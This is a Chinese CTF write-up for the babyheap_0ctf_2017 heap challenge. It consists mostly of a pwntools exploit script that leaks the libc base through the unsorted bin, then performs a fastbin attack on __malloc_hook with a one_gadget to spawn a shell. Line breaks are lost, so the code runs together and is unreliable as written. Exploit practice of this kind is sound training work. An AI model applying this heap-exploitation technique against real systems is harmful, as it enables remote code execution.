【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

#coding:utf-8from pwn import *
p = process("./babyheap_0ctf_2017_glibc2.23") context.log_level="debug"
def allocate(size):  p.recvuntil('Command: ')  p.sendline('1')  p.recvuntil('Size: ')  p.sendline(str(size)) def fill(idx,content):  p.recvuntil('Command: ')  p.sendline('2')  p.recvuntil('Index: ')  p.sendline(str(idx))  p.recvuntil('Size: ')  p.sendline(str(len(content)))  p.recvuntil('Content: ')  p.send(content) def free(idx):  p.recvuntil('Command: ')  p.sendline('3')  p.recvuntil('Index: ')  p.sendline(str(idx)) def dump(idx):  p.recvuntil('Command: ')  p.sendline('4')  p.recvuntil('Index: ')  p.sendline(str(idx))  p.recvline()  return p.recvline()
allocate(0x10) # 0allocate(0x10) # 1allocate(0x10) # 2allocate(0x10) # 3allocate(0x80) # 4free(1)free(2)
payload = p64(0) * 3payload += p64(0x21)payload += p64(0) * 3payload += p64(0x21)payload += p8(0x80)fill(0,payload)
payload = p64(0) * 3payload += p64(0x21)fill(3,payload)  # 为了后面malloc做准备，绕过检查

allocate(0x10)allocate(0x10)fill(1,'aaaabbbb')fill(2,'bbbbcccc')payload = p64(0) * 3payload += p64(0x91)fill(3,payload)allocate(0x80)free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78log.info("libc_base: "+hex(libc_base))
allocate(0x60)free(4)payload = p64(libc_base+0x3c4aed)fill(2, payload)
allocate(0x60)allocate(0x60)
payload = p8(0)*3payload += p64(0)*2payload += p64(libc_base+0x4527a)fill(6, payload) allocate(255) 
p.interactive() 

allocate(0x10) # 0allocate(0x10) # 1allocate(0x10) # 2allocate(0x10) # 3allocate(0x80) # 4free(1)free(2)

payload = p64(0) * 3payload += p64(0x21)payload += p64(0) * 3payload += p64(0x21)payload += p8(0x80)fill(0,payload)

payload = p64(0) * 3payload += p64(0x21)fill(3,payload)  # 为了后面malloc做准备，绕过malloc检查

但是malloc的时候会检查size是否和要分配的大小相同，这就是为什么上面代码中我们要把chunk4的size位修改为0x21

allocate(0x10)allocate(0x10)fill(1,'aaaabbbb') fill(2,'bbbbcccc')

unsortbin 有一个特性，就是如果 usortbin 只有一个 bin ，它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部），这个地址为 main_arena + 0x58 ，而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ，所以我们得到fd的值，然后再减去0x58再减去main_arena相对于libc的固定偏移，即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小，这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。-----来自参考网址

payload = p64(0) * 3payload += p64(0x91)fill(3,payload)allocate(0x80) free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "x00")) - (0x3c4b20 + 0x58)log.info("libc_base: "+hex(libc_base))

allocate(0x60)free(4)

payload = p64(libc_base+0x3c4aed)fill(2, payload)allocate(0x60)allocate(0x60)

payload = p8(0)*3payload += p64(0)*2payload += p64(libc_base+0x4527a)fill(6, payload)

allocate(255)